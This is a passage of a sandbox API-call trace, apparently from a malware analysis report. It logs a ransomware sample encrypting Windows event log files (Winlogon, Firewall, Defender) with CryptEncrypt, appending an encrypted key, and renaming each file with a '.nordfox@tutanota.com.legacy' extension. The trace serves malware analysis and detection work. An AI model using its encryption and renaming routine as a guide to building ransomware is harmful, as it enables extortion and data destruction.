lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0083.764] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0083.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x584f18 [0083.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0083.764] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0083.815] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.815] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0083.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0083.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0083.817] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0083.817] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0083.818] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0083.819] WriteFile (in: hFile=0x460, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0083.820] WriteFile (in: hFile=0x460, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0083.820] CloseHandle (hObject=0x460) returned 1 [0083.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0083.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0083.824] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0083.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e490 | out: hHeap=0x520000) returned 1 [0083.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582a38 | out: hHeap=0x520000) returned 1 [0083.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ee8 | out: hHeap=0x520000) returned 1 [0083.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5815b8 [0083.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0083.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0083.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0083.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0083.827] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", dwFileAttributes=0x80) returned 1 [0083.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581640 [0083.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x584f18 [0083.919] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581640 | out: hHeap=0x520000) returned 1 [0083.920] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0083.920] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0083.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585000 [0083.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596008 [0083.920] ReadFile (in: hFile=0x460, lpBuffer=0x585000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585000*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0083.962] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.962] WriteFile (in: hFile=0x460, lpBuffer=0x596008*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0083.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585000 | out: hHeap=0x520000) returned 1 [0083.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596008 | out: hHeap=0x520000) returned 1 [0083.966] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0083.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0083.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0083.967] WriteFile (in: hFile=0x460, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0083.968] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0083.968] CloseHandle (hObject=0x460) returned 1 [0083.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0083.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0083.993] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5815b8 | out: hHeap=0x520000) returned 1 [0084.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5819f8 | out: hHeap=0x520000) returned 1 [0084.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x584f18 [0084.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0084.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0084.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0084.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0084.002] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", dwFileAttributes=0x80) returned 1 [0084.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x584fc0 [0084.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0084.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584fc0 | out: hHeap=0x520000) returned 1 [0084.003] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.003] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1052672) returned 1 [0084.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3129020 [0084.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3231020 [0084.009] ReadFile (in: hFile=0x460, lpBuffer=0x3129020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3129020*, lpNumberOfBytesRead=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0084.137] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.137] WriteFile (in: hFile=0x460, lpBuffer=0x3231020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3231020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0084.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3129020 | out: hHeap=0x520000) returned 1 [0084.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3231020 | out: hHeap=0x520000) returned 1 [0084.162] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x101000 [0084.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.162] WriteFile (in: hFile=0x460, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.163] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.163] CloseHandle (hObject=0x460) returned 1 [0084.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0084.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0084.190] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0084.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0084.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ea08 [0084.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0084.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0084.192] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0084.192] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0084.192] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", dwFileAttributes=0x80) returned 1 [0084.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ead0 [0084.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x584f18 [0084.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ead0 | out: hHeap=0x520000) returned 1 [0084.193] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.193] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585040 [0084.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596048 [0084.194] ReadFile (in: hFile=0x460, lpBuffer=0x585040, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585040*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.250] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.251] WriteFile (in: hFile=0x460, lpBuffer=0x596048*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585040 | out: hHeap=0x520000) returned 1 [0084.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596048 | out: hHeap=0x520000) returned 1 [0084.253] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.253] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.253] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.255] WriteFile (in: hFile=0x460, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.255] WriteFile (in: hFile=0x460, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.255] CloseHandle (hObject=0x460) returned 1 [0084.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0084.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0084.260] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ea08 | out: hHeap=0x520000) returned 1 [0084.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57edf0 | out: hHeap=0x520000) returned 1 [0084.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582a38 [0084.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0084.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0084.262] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0084.263] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0084.263] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", dwFileAttributes=0x80) returned 1 [0084.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582510 [0084.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e878 [0084.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582510 | out: hHeap=0x520000) returned 1 [0084.264] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.264] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x584f18 [0084.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0084.264] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.332] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.332] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0084.336] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.337] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.338] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.338] CloseHandle (hObject=0x460) returned 1 [0084.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0084.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0084.340] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e878 | out: hHeap=0x520000) returned 1 [0084.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582a38 | out: hHeap=0x520000) returned 1 [0084.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5829c0 | out: hHeap=0x520000) returned 1 [0084.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5819f8 [0084.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0084.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0084.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0084.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0084.346] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0084.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581c18 [0084.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bc40 [0084.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581c18 | out: hHeap=0x520000) returned 1 [0084.346] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.346] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x584f18 [0084.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0084.347] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.389] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.389] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0084.392] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.394] WriteFile (in: hFile=0x460, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.394] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, 